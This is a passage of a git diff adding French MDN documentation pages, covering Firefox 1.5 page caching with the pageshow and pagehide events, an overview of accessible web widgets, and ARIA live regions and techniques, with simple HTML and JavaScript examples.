Lorsqu'un utilisateur navigue vers une page mise en cache, les scripts en-ligne et le gestionnaire onload ne sont pas exécutés (étape 2 et 3) puisque dans la plupart des cas les effets de ces scripts ont été préservés.

- -

Si la page contient des scripts ou d'autres actions déclenchées au chargement qui doivent continuer à s'exécuter lorsque l'utilisateur affiche la page, ou si vous voulez savoir si un utilisateur a consulté une page en cache, utilisez le nouvel évènement pageshow.

- -

Si vous avez des actions devant s'exécuter lorsque l'utilisateur quitte une page, mais désirez profiter de la nouvelle fonctionnalité de mise en cache, donc sans pouvoir employer le gestionnaire unload, utilisez le nouvel évènement pagehide.

- -

L'évènement pageshow

- -

Cet évènement fonctionne comme l'évènement load, sauf qu'il se déclenche à chaque fois que la page est chargée (tandis que l'évènement load ne se déclenche pas avec Firefox 1.5 pour une page chargée depuis le cache). La première fois qu'une page se charge, l'évènement pageshow se déclenche juste après l'évènement load. L'évènement pageshow utilise une propriété booléenne persisted définie à false lors du chargement initial. Elle est définie à true s'il ne s'agit pas du chargement initial de la page (en d'autres termes, elle est définie à true pour une page chargée depuis le cache).

- -

Définissez tous vos scripts JavaScript que vous voulez voir exécutés à chaque fois qu'une page se charge grâce à l'évènement pageshow.

- -

Si vous appelez des fonctions JavaScript comme faisant partie de l'évènement pageshow, vous pouvez vous assurer qu'elles soient appelées lorsque la page est chargée dans d'autres navigateurs que Firefox 1.5 en appelant l'évènement pageshow depuis l'évènement load, comme indiqué dans l'exemple plus bas dans cet article.

- -

L'évènement pagehide

- -

Si vous désirez définir un comportement se produisant lorsque l'utilisateur quitte la page, mais ne voulez pas utiliser l'évènement unload (ce qui empêcherait la page d'être mise en cache), vous pouvez utiliser le nouvel évènement pagehide. Comme pageshow, l'évènement pagehide utilise une propriété booléenne appelée persisted. Cette propriété est définie à true si la page est mise en cache par le navigateur. Lorsque cette propriété est définie à false, le gestionnaire unload, s'il existe, se déclenche immédiatement après l'évènement pagehide.

- -

Firefox 1.5 essaie de simuler les évènements de chargement dans le même ordre de déroulement que lorsque la page est chargée initialement. Les cadres sont traités de la même façon que le document principal. Si la page contient des cadres, cela signifie que lorsque la page mise en cache est chargée :

- -
    -
  • les évènements pageshow de chaque cadre se déclenchent avant l'évènement pageshow du document principal.
    • -
  • lorsque l'utilisateur quitte la page mise en cache, l'évènement pagehide de chaque cadre se déclenche avant l'évènement pagehide du document principal.
    • -
  • pour la navigation se déroulant à l'intérieur d'un seul cadre, les évènements se déclenchent uniquement dans le cadre affecté.
    • -
- -

Exemple de code

- -

L'exemple ci-dessous illustre une page utilisant à la fois les évènements load et pageshow. La page se comporte de la façon suivante :

- -
    -
  • Dans les autres navigateurs que Firefox 1.5, voici ce qui se produit à chaque chargement de la page : l'évènement load déclenche la fonction onLoad, qui appelle la fonction onPageShow (ainsi qu'une autre fonction).
    • -
- -
    -
  • Dans Firefox 1.5, la première fois que la page est chargée, l'évènement load s'opère de la même façon que dans les autres navigateurs. De plus l'évènement pageshow se déclenche, et comme persisted est égal à false, rien d'autre ne se produit.
    • -
- -
    -
  • Dans Firefox 1.5, lorsque la page est chargée depuis le cache, seul l'évènement pageshow se déclenche. Comme persisted est égal à true, seules les actions JavaScript de la fonction onPageShow sont effectuées.
    • -
- -

Dans cet exemple :

- -
    -
  • La page calcule et affiche la date et l'heure courantes à chaque chargement de la page. Ce calcul prend en compte les secondes et millisecondes afin que la fonctionnalité puisse être testée facilement.
    • -
  • Le curseur est placé dans le champ Nom du formulaire au premier chargement de la page. Dans Firefox 1.5, lorsque l'utilisateur revient sur la page, le curseur reste dans le champ dans lequel il se trouvait lorsqu'il l'a quittée. Dans les autres navigateurs, le curseur retourne dans le champ Nom.
    • -
- -
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
-   "http://www.w3.org/TR/html4/loose.dtd">
-<HTML>
-<head>
-<title>Commande : Exemple de Firefox 1.5</title>
-<style type="text/css">
-body, p {
-	font-family: Verdana, sans-serif;
-	font-size: 12px;
-   	}
-</style>
-<script type="text/javascript">
-function onLoad() {
-	loadOnlyFirst();
-	onPageShow();
-}
-
-function onPageShow() {
-// calcule la date et l'heure courantes
-	var currentTime = new Date();
-	var year = currentTime.getFullYear();
-	var month = currentTime.getMonth()+1;
-	var day = currentTime.getDate();
-	var hour = currentTime.getHours();
-	var min = currentTime.getMinutes();
-	var sec = currentTime.getSeconds();
-	var mil = currentTime.getMilliseconds();
-	var displayTime = (day + "/" + month + "/" + year + " " +
-		hour + ":" + min + ":" + sec + ":" + mil);
-	document.getElementById("timefield").value = displayTime;
-}
-
-function loadOnlyFirst() {
-	document.zipForm.name.focus();
-}
-</script>
-</head>
-<body onload="onLoad();" onpageshow="if (event.persisted) onPageShow();">
-<h2>Commande</h2>
-
-<form name="zipForm" action="http://www.example.com/formresult.html" method="get">
-<label for="timefield">Date et heure :</label>
-<input type="text" id="timefield"><br>
-<label for="name">Nom :</label>
-<input type="text" id="name"><br>
-<label for="address">Adresse e-mail :</label>
-<input type="text" id="address"><br>
-<label for="order">Numéro de commande :</label>
-<input type="text" id="order"><br>
-<input type="submit" name="submit" value="Soumettre la requête">
-</form>
-</body>
-</html>
-
- -

En revanche, si la page ci-dessus n'avait pas écouté l'évènement pageshow et gérait tous les calculs au sein de l'évènement load (et était codée à la place comme dans l'exemple de code ci-dessous), la position du curseur et l'heure auraient été mis en cache par Firefox 1.5 lorsque l'utilisateur aurait quitté la page. Lors de son retour, ce seraient la date et l'heure mises en cache qui auraient été affichées.

- -
<script>
-function onLoad() {
-	loadOnlyFirst();
-
-// calcule la date et l'heure courante
-	var currentTime = new Date();
-	var year = currentTime.getFullYear();
-	var month = currentTime.getMonth()+1;
-	var day = currentTime.getDate();
-	var hour = currentTime.getHours();
-	var min = currentTime.getMinutes();
-	var sec = currentTime.getSeconds();
-	var mil = currentTime.getMilliseconds();
-	var displayTime = (day + "/" + month + "/" + year + " " +
-		hour + ":" + min + ":" + sec + ":" + mil);
-	document.getElementById("timefield").value = displayTime;
-}
-
-function loadOnlyFirst() {
-	document.zipForm.name.focus();
-}
-</script>
-</head>
-
-<body onload="onLoad();">
-
- -

Développement d'extensions pour Firefox

- -

Les extensions pour Firefox 1.5 doivent prendre en compte cette fonctionnalité de mise en cache. Si vous développez une extension pour Firefox et que vous désirez qu'elle soit compatible à la fois avec la 1.5 et les versions antérieures, assurez-vous qu'elle écoute l'évènement load pour les déclencheurs qui peuvent être mis en cache et écoute l'évènement pageshow pour les déclencheurs qui ne doivent pas être mis en cache.

- -

Par exemple, la Barre d'outils Google pour Firefox doit écouter l'évènement load pour la fonction de liens automatiques et l'évènement pageshow pour la fonction PageRank afin d'être compatible à la fois avec la version 1.5 et les versions antérieures.

- -

Catégories

- -

Interwiki

- -

{{ languages( { "de": "de/Benutzen_des_Zwischenspeichers_in_Firefox_1.5_(caching)", "en": "en/Using_Firefox_1.5_caching", "it": "it/Usare_il_caching_di_Firefox_1.5", "ja": "ja/Using_Firefox_1.5_caching" } ) }}

diff --git a/files/fr/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html b/files/fr/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html new file mode 100644 index 0000000000..7dcc01326a --- /dev/null +++ b/files/fr/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.html @@ -0,0 +1,176 @@ +--- +title: Aperçu sur le développement des applications Web et des Widgets accessibles +slug: >- + Accessibilité/Aperçu_d_applications_Web_et_de_composants_dynamiques_accessibles +tags: + - ARIA + - Accessisibilité + - Applications Web + - Guide +translation_of: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets +--- +

Le Web est en perpétuelle évolution. En effet, les sites à contenu statique sont de plus en plus remplacés par des sites dynamiques à l’utilisation assez proche des applications de bureaux. Les sites Web dynamiques utilisent abondamment JavaScript et AJAX. Les designers créent des widgets et des éléments d'interface grâce aux langages du Web notamment HTML, CSS et Javascript. Ce tournant dans l’histoire du Web permet d'améliorer grandement l'expérience utilisateur et l'utilisation sur mobile (responsive). Mais certains utilisateurs peuvent être exclus par manque d'accessibilité. En effet, JavaScript avait la réputation d'être inaccessible aux technologies d'assistance tel que les interpréteurs d’écran. Or, il existe maintenant des techniques pour rendre le Web accessible à une large palette d’utilisateurs.

+ +

Problématique

+ +

La plupart des librairies JavaScript proposent des composants côté client qui miment le comportement familier des interfaces de bureaux classiques. Carrousels, barres de menu et d’autres composants peuvent être créés avec JavaScript, CSS et HTML. Mais du moment que les spécifications HTML 4 ne proposaient pas de tags pour décrire sémantiquement ce type de composants, les développeurs se contentaient d'éléments génériques tel que le tag <div> ou le tag <span>. Or, si d’apparence ces composants ressemblaient parfaitement à ceux spécifiques aux applications de bureau, on ne disposait pas d'informations sémantiques suffisantes pour les rendres accessibles aux technologies d’assistance. L’accès au contenu dynamique d’une page Web peut devenir problématique plus particulièrement pour les utilisateurs qui, pour une raison ou pour une autre ne peuvent pas voir l’écran. Les niveaux de stock, les indicateurs de progression... modifient le DOM de telle sorte que les technologies d'assistance n’y ont pas accès. C'est dans ce contexte que ARIA entre en jeu.

+ +

Exemple 1: Code d’une tabulation sans informations ARIA. Il n'y a aucune information permettant de décrire la forme du widget et ses fonctions.

+ +
<!-- This is a tabs widget. How would you know, looking only at the markup? -->
+<ol>
+  <li id="ch1Tab">
+    <a href="#ch1Panel">Chapitre 1</a>
+  </li>
+  <li id="ch2Tab">
+    <a href="#ch2Panel">Chapitre 2</a>
+  </li>
+  <li id="quizTab">
+    <a href="#quizPanel">Quiz</a>
+  </li>
+</ol>
+
+<div>
+  <div id="ch1Panel">Le contenu du chapitre 1 va ici</div>
+  <div id="ch2Panel">Le contenu du chapitre 2 va ici</div>
+  <div id="quizPanel">Le contenu du Quiz va ici</div>
+</div>
+ +

Example 2: Telles qu'elles sont représentées ci-dessous, les tabulations peuvent être reconnues en tant que tel par les utilisateurs. Or aucune information sémantique exploitable par une technologie d’assistance n’est présente.
+ Screenshot of the tabs widget

+ +

ARIA

+ +

WAI-ARIAI, les spécifications concernant les applications internet "riches" et accessibles sont publiées par l’iniative du W3C sur l’accessibilité, et fournissent la sémantique essentielle au bon fonctionnement des lecteurs d'écran. ARIA permet aux développeurs de décrire en quelque sorte leurs widgets plus finement en ajoutant des attributs spéciaux à leurs balises. Ces spécifications comblent le vide qui existait entre les spécifications du standard HTML et des widgets. ARIA spécifie des rôles et des états permettant de décrire en quelque sorte le fonctionnement des widgets d’interfaces utilisateurs les plus connus.

+ +
+

Beaucoup d’entre eux ont été ajouté plus tard dans HTML5, et les développeurs devraient toujours préférer utiliser la balise HTML correspondante plutôt qu’utiliser ARIA.

+
+ +

Les spécifications ARIA distinguent 3 types d’attributs : rôles, états et propriétés. Les rôles sont utilisés pour les widgets ne faisant pas partie des spécifications HTML 4 comme des sliders, menus, barres, boites de dialogue... Les propriétés sont utilisées pour représenter les caractéristiques de ces widgets, elles décrivent les caractéristiques de ces widgets comme s'il sont déplaçables avec la souris, requièrent un élément ou ont un popup associés à eux. Les états, comme leur nom l'indique, servent à representer l'état actuel de ces éléments en informant les technologies d'assistance s'il est occupé, désactivé, sélectionné ou masqué.

+ +

Les attributs ARIA ont été conçus de façon à être interprétés directement par les navigateurs Web et interagir directement avec les APIs d'accessibilité natives des systèmes d'exploitation. Quand les spécifications ARIA sont implementées, les technologies d'assistance peuvent interagir avec les widgets JavaScript personnalisés de la même façon qu'ils interagissent avec leurs équivalents de bureau. Les technologies d'assistance peuvent ainsi fournir une expérience utilisateur homogène.

+ +

Example 3 : L'exemple ci-dessous ajoute des attributs ARIA aux balises déjà présentes.

+ +
<!-- Les tabulations sont bien définies  -->
+<!-- Des attributs ARIA ont été ajoutés pour lister les différentes tabulations. -->
+<ol role="tablist">
+  <li id="ch1Tab" role="tab">
+    <a href="#ch1Panel">Chapter 1</a>
+  </li>
+  <li id="ch2Tab" role="tab">
+    <a href="#ch2Panel">Chapter 2</a>
+  </li>
+  <li id="quizTab" role="tab">
+    <a href="#quizPanel">Quiz</a>
+  </li>
+</ol>
+
+<div>
+  <!-- Remarquez les attributs role and aria-labelledby servant à décrire les tabulations. -->
+  <div id="ch1Panel" role="tabpanel" aria-labelledby="ch1Tab">Chapter 1 content goes here</div>
+  <div id="ch2Panel" role="tabpanel" aria-labelledby="ch2Tab">Chapter 2 content goes here</div>
+  <div id="quizPanel" role="tabpanel" aria-labelledby="quizTab">Contenu du Quiz;/div>
+</div>
+
+ +

Les versions récentes des navigateurs majeurs du marché fournissent un support ARIA Firefox, Chrome, Safari, Internet Explorer... De nombreuses technologies d'assistance libres d’accès tel que NVDA et Orca fournissent aussi un support ARIA. Le support de ces spécifications est aussi de plus en plus présent dans les balises des librairies JavaScript : JQuery UI, YUI, Google Closure et Dojo Dijit.

+ +

Les changement représentationnels

+ +

Les changements représentationnels incluent l'utilisation du CSS pour changer l'apparence du contenu (mettre une bordure rouge autour de données invalides, changer la couleur de fond d’une case à cocher), le faire apparaitre ou disparaitre. 

+ +

Les Changements d'états

+ +

Les attributs pour décrire l’état actuel d'un widget sont fournis, par exemple :

+ +
    +
  • aria-checked indique l’état d'une case à cocher ou d'un bouton radio,
    • +
  • aria-disabled indique qu’un élément est visible, mais désactivé,
    • +
  • aria-expanded indique qu’un élément est déroulé.
    • +
+ +

La liste n’est pas exhaustive. Pour voir la liste complète, consulter les spécifications des états et propriétés ARIA).

+ +

Les développeurs devraient se servir des états ARIA pour indiquer l'état des widgets et utiliser les sélecteurs d'attributs CSS pour en modifier l'apparence en fonction des changements d'états plutôt qu'au moyen d'un script qui modifierait des classes sur le widget.

+ +

Les changements de visibilité

+ +

Lorsque la visibilité du contenu est modifiée (c'est-à-dire qu'un élément est masqué ou affiché), les développeurs doivent modifier la valeur de la propriété aria-hidden. Les techniques décrites ci-dessus doivent être utilisées pour déclarer du CSS permettant de cacher visuellement un élément en utilisant display:none.

+ +

Le site Web Open Ajax Alliance fournit un exemple de tooltip qui utilise aria-hidden pour controler la visibilité du tooltip. L'exemple montre un formulaire Web simple avec des info-bulles contenant des instructions associées aux champs d’entrée.

+ +

Les parties pertinentes de l'exemple sont expliquées ci-dessous.Dans cet exemple, le code HTML de l’info-bulle a le format indiqué dans l'exemple 2a. La ligne 9 définit l’état aria-hidden à true.

+ +

Exemple 2a. HTML pour un tooltip (adapté de http://www.oaa-accessibility.org/example/39/).

+ +
<div class="text">
+    <label id="tp1-label" for="first">First Name:</label>
+    <input type="text" id="first" name="first" size="20"
+           aria-labelledby="tp1-label"
+           aria-describedby="tp1"
+           aria-required="false" />
+    <div id="tp1" class="tooltip"
+         role="tooltip"
+         aria-hidden="true">Your first name is optional</div>
+</div>
+
+ +

Le CSS pour ce balisage est montré dans l'exemple 2b. Notez qu’il n’y a pas de nom de classe personnalisé utilisé, seul le statut de l'attribut aria-hidden à la ligne 1.
+ Exemple 2b. Un attribut basé sur le sélecteur indiquant l'état (tiré de http://www.oaa-accessibility.org/example/39/).

+ +
div.tooltip[aria-hidden="true"] {
+  display: none;
+  }
+
+ +

Le JavaScript à mettre à jour est la propriété aria-hidden du formulaire montré dans l'exemple 2c. Notez que le script met à jour seulement l'attribut aria-hidden à la (ligne 2) ; il n'y a pas besoin d'ajouter ou de supprimer un nom de classe personnalisé.

+ +

Exemple 2c. JavaScript pour mettre à jour l'attribut aria-checked (basé sur http://www.oaa-accessibility.org/example/39/).

+ +
var showTip = function(el) {
+  el.setAttribute('aria-hidden', 'false');
+}
+ +

Les changements de rôles

+ +

ARIA permet aux développeurs de déclarer un rôle sémantique pour un élément qui produirait des sémantiques fausses. Par exemple, quand une liste non ordonnée est utilisée pour créer un menu, {{ HTMLElement("ul") }} devrait avoir un role de menubar et chaque {{ HTMLElement("li") }} devrait avoir un role de menuitem. Le role d'un élément ne doit pas changer. À la place, il faut supprimer l'élément original et le remplacer par un nouveau role.

+ +

Considérons une zone d’écriture, soit une zone qui permet à l’utilisateur d’éditer une partie de son texte, sans changer de contexte. Cette zone a un mode "vue", dans lequel le texte n’est pas éditable, et un mode "édition", dans lequel le texte peut être modifié. Un développeur peut être tenté d’implémenter le mode "vue" avec un texte en lecture seule via l’élément {{ HTMLElement("input") }} et en configurant le  role  ARIA à  button, puis passe au mode "édition" en rendant l’élément écrivable et en supprimant le role attribué dans le mode "édition" (puisque les éléments de type {{ HTMLElement("input") }} ont leur propre rôle sémantique).

+ +

Ne faites pas ça. À la place, il vaut mieux implémenter le mode "vue" avec un autre élément, comme {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} avec un role de button, et le mode "édition" avec un élément texte {{ HTMLElement("input") }}.

+ +

Mise à jour asynchrone de contenu

+ +
En construction. Voir aussi Live Regions
+ +

La navigation au clavier

+ +

Souvent, les développeurs négligent la prise en charge du clavier lorsqu’ils créent des widgets personnalisés. Pour être accessible à une large gamme d’utilisateurs, toutes les fonctionnalités d’une application Web ou d’un widget doivent également pouvoir être contrôlées avec le clavier, sans nécessiter de souris. En pratique, cela implique généralement de suivre les conventions prises en charge par des widgets similaires sur le bureau, en tirant pleinement partie des touches Tab, Entrée, Espace et des flèches.

+ +

Traditionnellement, la navigation au clavier sur le Web était limitée à la touche Tabulation. Un utilisateur appuie sur Tab pour faire la mise au point de chaque lien, bouton ou formulaire sur la page dans un ordre linéaire, en utilisant Maj+Tab pour revenir en arrière. C’est une forme unidimensionnelle de navigation en avant ou en arrière, un élément à la fois. Sur les pages assez denses, un utilisateur clavier doit souvent appuyer plusieurs fois sur la touche Tab avant d’accéder à la section requise. La mise en œuvre de conventions de clavier de type bureautique sur le Web peut considérablement accélérer la navigation pour de nombreux utilisateurs.

+ +

Voici un résumé de la façon dont la navigation au clavier devrait fonctionner dans une application Web compatible ARIA :

+ +
    +
  • La touche Tab devrait fournir le focus au widget dans son ensemble. Par exemple, la tabulation d’une barre de menu devrait mettre l’accent sur le premier élément du menu.
    • +
  • Les touches fléchées devraient permettre la sélection ou la navigation dans le widget. Par exemple, en utilisant les touches ← et →, vous devez déplacer le focus sur les éléments de menu précédent et suivant.
    • +
  • Lorsque le widget n’est pas à l’intérieur d’un formulaire, les touches Entrée et Espace permettent de sélectionner ou d’activer le contrôle.
    • +
  • Dans un formulaire, la touche Espace doit sélectionner ou activer le contrôle, tandis que la touche Entrée doit soumettre l’action par défaut du formulaire.
    • +
  • En cas de doute, imitez le comportement standard du bureau du contrôle que vous créez.
    • +
+ +

Ainsi, pour l’exemple de widget Tabs ci-dessus, l’utilisateur devrait être capable de naviguer dans le conteneur du widget (le <ol> dans notre balisage) en utilisant les touches Tab et Maj+Tab. Une fois que le focus du clavier est à l’intérieur du conteneur, les touches fléchées devraient permettre à l’utilisateur de naviguer entre chaque onglet (les éléments <li>). De là, les conventions varient d’une plateforme à l’autre. Sous Windows, l’onglet suivant doit être automatiquement activé lorsque l’utilisateur appuie sur les touches fléchées. Sous Mac OS X, l’utilisateur peut appuyer sur Entrée ou sur Espace pour activer l’onglet suivant. Un tutoriel en profondeur pour créer Widget navigables grâce à des contrôles Javascript comme décrit ici afin de montrer comment avoir ce comportement en JS.

+ +

Pour plus de détails à propos de ces conventions de navigation au clavier, un aperçu ici DHTML style guide est disponible. Il délivre un aperçu de la façon dont la navigation au clavier devrait fonctionner pour chaque type de widget pris en charge par ARIA. Le W3C offre également un document utile ARIA Best Practices qui inclut la navigation au clavier et les raccourcis pour une variété de widgets.

+ +

Voir aussi

+ + diff --git a/files/fr/web/accessibility/aria/aria_guides/index.html b/files/fr/web/accessibility/aria/aria_guides/index.html new file mode 100644 index 0000000000..452418ed1b --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_guides/index.html @@ -0,0 +1,27 @@ +--- +title: Guides ARIA +slug: Accessibilité/ARIA/Guides_ARIA +tags: + - ARIA + - Accessibilité +translation_of: Web/Accessibility/ARIA/ARIA_Guides +--- +

ARIA (Accessible Rich Internet Applications ou Applications Internet riches accessibles) défini une manière de rendre le web plus accessible pour les personnes en situation de handicap. Les quelques principes suivant permettent de s'assurer d'une meilleure accessibilité :

+ +
    +
  • Traiter les erreurs dans les formulaires
    • +
  • Labelliser les composants d’interface
    • +
  • Labelliser les composants composés (Composite Widgets) et des zones (Regions)
    • +
  • Gérer le focus dans les composants composés (aria-activedescendant vs roving tabindex)
    • +
  • Utiliser les rôles de points de repère (Landmark Roles)
    • +
  • Traiter les actualisations dynamiques & des zones « Live »
    • +
  • Mode Virtuel contre mode non virtuel dans les produits de technologies d’assistance
    • +
  • Utiliser le Glisser & déposer
    • +
  • Notifier les utilisateurs sur les lecteurs d’écran non-ARIA
    • +
  • Arranger la structure avec le rôle presentation
    • +
  • Masquer les trames des tableaux
    • +
  • Gérer les dialogues modaux et non modaux
    • +
  • Utiliser ARIA avec HTML5
    • +
  • Comment tester ARIA ?
    • +
  • ARIA sur les périphériques mobiles
    • +
diff --git a/files/fr/web/accessibility/aria/aria_live_regions/index.html b/files/fr/web/accessibility/aria/aria_live_regions/index.html new file mode 100644 index 0000000000..8b163bc582 --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_live_regions/index.html @@ -0,0 +1,122 @@ +--- +title: Zones live ARIA +slug: Accessibilité/ARIA/Zones_live_ARIA +tags: + - ARIA + - Accessibilité + - Avancé +translation_of: Web/Accessibility/ARIA/ARIA_Live_Regions +--- +

Introduction

+ +

Dans le passé, un changement dans une page web débouchait souvent sur une relecture intégrale, ce qui agaçait souvent l’utilisateur, ou au contraire très peu ou pas de lecture du tout, rendant inaccessible une partie, voire l’ensemble des informations. Jusqu’à récemment, les lecteurs d’écran n’étaient en mesure d’améliorer cela du fait de l’absence d’éléments standardisés pour prévenir le lecteur d’écran d’un changement. Les zones « live » ARIA comblent cette lacune et fournissent des solutions aux lecteurs d’écran afin de savoir si et comment interrompre l'utilisateur lors d’un changement.

+ +

Zones « live » basiques

+ +

Le contenu dynamique qui s’actualise sans rechargement de la page est généralement une zone ou un composant d’interface. Les changements de contenu simples, sans interaction possible, devraient être marqués comme des zones « live ». Ci-dessous, voici une liste de chaque propriété relative à une zone « live » ARIA et sa description.

+ +
+
aria-live :
+
L’attribut aria-live=VALEUR_POLITESSE est utilisé pour définir la priorité avec laquelle le lecteur d’écran devrait traiter une mise à jour dans une zone « live » – les valeurs possibles sont : off/polite/assertive. La valeur par défaut est off. Cet attribut est de loin le plus important.
+
aria-controls :
+
L’attribut aria-controls=[LISTE_IDs] est utilisé pour associer un contrôle avec les zones qu’il contrôle. Les zones sont identifiées comme un ID dans un élément {{ HTMLElement("div") }}, et plusieurs zones peuvent être associées à un unique contrôle, en séparant les identifiants des zones par un espace, par exemple : aria-controls="maZoneID1 maZoneID2".
+
Nous ne savons pas si aria-controls pour les zones « live » est utilisé dans des technologies d’assistance modernes, et si oui lesquelles. Des recherches sont nécessaires.
+
+ +

Normalement, seul aria-live="polite" est utilisé. Toute zone recevant une mise à jour qu’il est important de faire suivre à l’utilisateur, mais pas au point de le déranger dans sa navigation, devrait recevoir cet attribut. Le lecteur d’écran lira les changements dès que l’utilisateur sera inoccupé.

+ +

Pour les zones de moindre importance, ou qui seraient perturbantes à cause d’actualisations répétées et rapprochées ou toute autre raison, il est possible de les rendre silencieux avec aria-live="off".

+ +

Cas d’étude simple : une ''combobox'' actualise des informations utiles à l’écran

+ +

Un site web spécialisé dans l’ornithologie fournit une liste déroulante avec des noms d’oiseaux. Lorsqu’un oiseau est sélectionné dans la liste, une zone de la page web est actualisée avec les détails concernant la famille d’oiseaux choisie.

+ +

<select size="1" id="bird-selector" aria-controls="bird-info"><option> .... </select>

+ +
<div role="region" id="bird-info" aria-live="polite">
+ +

Lorsque l’utilisateur sélectionne un nouvel oiseau, l’information est lue. Du fait de la valeur polite, le lecteur d’écran attendra une pause de la part de l’utilisateur. Ainsi, descendre dans la liste ne déclenchera pas la lecture pour chaque oiseau visité par l’utilisateur, mais uniquement pour celui qui sera finalement choisi.

+ +

Préférences de rôles pour les zones « live » spécialisées

+ +

Dans les cas prédéfinis répandus ci-dessous, il est préférable d’utiliser un des rôles de zone « live » spécifique fourni :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RôleDescriptionCompatibilité
logChat, erreur, jeux ou autres types de journalisationPour maximiser la compatibilité, ajouter un aria-live="polite" redondant lorsque vous utiliserez ce rôle.
statusUne barre d’état ou une zone de l’écran qui fournit un état actualisé de quelque chose. Les utilisateurs de lecteur d’écran ont à leur disposition une commande spéciale pour lire l’état courant.Pour maximiser la compatibilité, ajouter un aria-live="polite" redondant lorsque vous utiliserez ce rôle.
alertMessage d’erreur ou avertissement souligné à l’écran. Les alertes sont particulièrement importantes pour la validation côté client notifiée à l’utilisateur. (TBD: lien vers un tutoriel sur les formulaires ARIA avec des informations plus complètes)Pour maximiser la compatibilité, ajouter un aria-live="assertive" redondant lorsque vous utiliserez ce rôle. Attention, cette redondance occasionne un problème de double restitution orale dans VoiceOver sur iOS.
progressbarÉlément hybride entre un composant d’interface et une zone « Live ». Utilisez ce rôle avec les attributs aria-valuemin, aria-valuenow et aria-valuemax. (TBD : Ajouter plus d’informations pour cet élément). 
marqueePour faire défiler un texte, comme pour un téléscripteur ou un afficheur alphanumérique. 
timerPour tout type de minuterie ou d’horloge, tel qu’un compte-à-rebours ou un chronomètre. 
+ +

Zones « live » avancées

+ +

(TBD : Qu'est-ce qui est pris en charge par qui ?)

+ +

Le support général des zones "Live" a été ajouté à JAWS à partir de la version 10.0. Windows Eyes supporte les zones "Live" depuis la version 8.0 "pour une utilisation en dehors du mode de navigation (Browse Mode) pour Microsoft Internet Explorer et Mozilla Firefox". NVDA a ajouté un support basique pour les zones "Live" pour Mozilla Firefox en 2008 et qui a été amélioré en 2010 et 2014. En 2015 un support basique fut également ajouté à Internet Explorer (MSHTML).

+ +

The Paciello Group propose des informations sur l'état du support des zones "Live"(2014). Paul Jadam s'est intéressé plus particulièrement au support des attributs aria-atomic and aria-relevant.

+ +
+
aria-atomic :
+
L’attribut aria-atomic=BOOLÉEN est utilisé pour définir si le lecteur d’écran doit ou non présenter la zone « Live » comme un ensemble, même si une partie seulement de la zone est modifiée – Les valeurs possibles sont false/true. La valeur par défaut est false.
+
aria-relevant :
+
L’attribut aria-relevant=[LISTE_DES_CHANGEMENTS] est utilisé pour définir quel type de changements est adéquat à une zone « Live » – les valeurs possibles sont additions (addition)/removals (suppression)/text (texte)/all (tous). La valeur par défaut est « additions text. »
+
aria-labelledby :
+
L’attribut aria-labelledby=[LISTE_ID] est utilisé pour associer un ou des libellés à une zone. Le fonctionnement est similaire à celui d'aria-controls mais les références d'id pointent vers les libellés associés aux blocs identifiés, et les références multiples sont également séparées par un espace.
+
aria-describedby :
+
L’attribut aria-describedby=[LISTE_ID] est utilisé pour associer une ou des descriptions à une zone. Le fonctionnement est similaire à celui d'aria-controls mais les références d'id pointent vers les textes descriptifs associés aux blocs identifiés, et les références multiples sont également séparées par un espace.
+
+ +

Cas d’étude avancé : liste de contacts

+ +

Un site de chat voudrait afficher la liste des utilisateurs actuellement connectés. L'affichage de la liste des utilisateurs doit alors refléter l’état de connexion ou de déconnexion des utilisateurs de manière dynamique (sans actualisation de la page).

+ +
<ul id="roster" aria-live="polite" aria-relevant="additions removals">
+	<!-- utilisez JavaScript ici pour ajouter/supprimer des utilisateurs-->
+</ul>
+
+ +

Détails des propriétés « live » d’ARIA :

+ +
    +
  • L’attribut aria-live="polite" indique au lecteur d’écran qu’il doit attendre que l’utilisateur soit inactif avant de lui présenter une mise à jour. C’est la valeur la plus communément utilisée, car interrompre l’utilisateur avec la valeur assertive briserait son flux de lecture.
    • +
  • L’attribut aria-atomic n’est pas défini (false par défaut), ainsi seuls les utilisateurs ajoutés ou supprimés devraient être lus et non l’intégralité de la liste, à chaque mise à jour.
    • +
  • L’attribut aria-relevant="additions removals" assure à la fois que les utilisateurs ajoutés et supprimés de la liste seront lus.
    • +
+ +

TBD : Cas d’étude(s) réel(s) de l’attribut aria-atomic="true".

diff --git a/files/fr/web/accessibility/aria/aria_techniques/aria_technique_template/index.html b/files/fr/web/accessibility/aria/aria_techniques/aria_technique_template/index.html new file mode 100644 index 0000000000..322f6defcb --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/aria_technique_template/index.html @@ -0,0 +1,30 @@ +--- +title: Modèle Technique ARIA +slug: Accessibilité/ARIA/Techniques_ARIA/Modele_Technique_ARIA +tags: + - ARIA + - Accessibilité +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/ARIA_Technique_Template +--- +
+
+

Description

+

 

+

Effets possibles sur les agents utilisateur et les technologies d’assistance 

+

 

+
+ Note : les opinions diffèrent sur la façon dont les technologies d’assistance devraient traiter ces techniques. Les informations fournies ci-dessus sont une de ces opinions et ne sont en aucune manière normatives.
+

Exemples

+

Exemple 1 : 

+

 

+ 
Code
+

Exemples fonctionnels :

+

Notes 

+

Attributs ARIA utilisés

+

Techniques ARIA associées 

+

Compatibilité

+

TBD : Ajouter les informations de prise en charge des combinaisons les plus courantes d’agents utilisateurs et de produits de technologies d’assistance

+

Autres ressources

+
+
+

 

diff --git a/files/fr/web/accessibility/aria/aria_techniques/index.html b/files/fr/web/accessibility/aria/aria_techniques/index.html new file mode 100644 index 0000000000..b6398235ba --- /dev/null +++ b/files/fr/web/accessibility/aria/aria_techniques/index.html @@ -0,0 +1,118 @@ +--- +title: Techniques ARIA +slug: Accessibilité/ARIA/Techniques_ARIA +tags: + - ARIA + - Accessibilité + - Attributs + - Rôles +translation_of: Web/Accessibility/ARIA/ARIA_Techniques +--- +

Rôles

+

Rôles de composant d’interface

+ +

Rôles composés

+

Les techniques ci-dessous décrivent chaque rôle composé ainsi que leurs rôles enfants obligatoires ou facultatifs.

+
    +
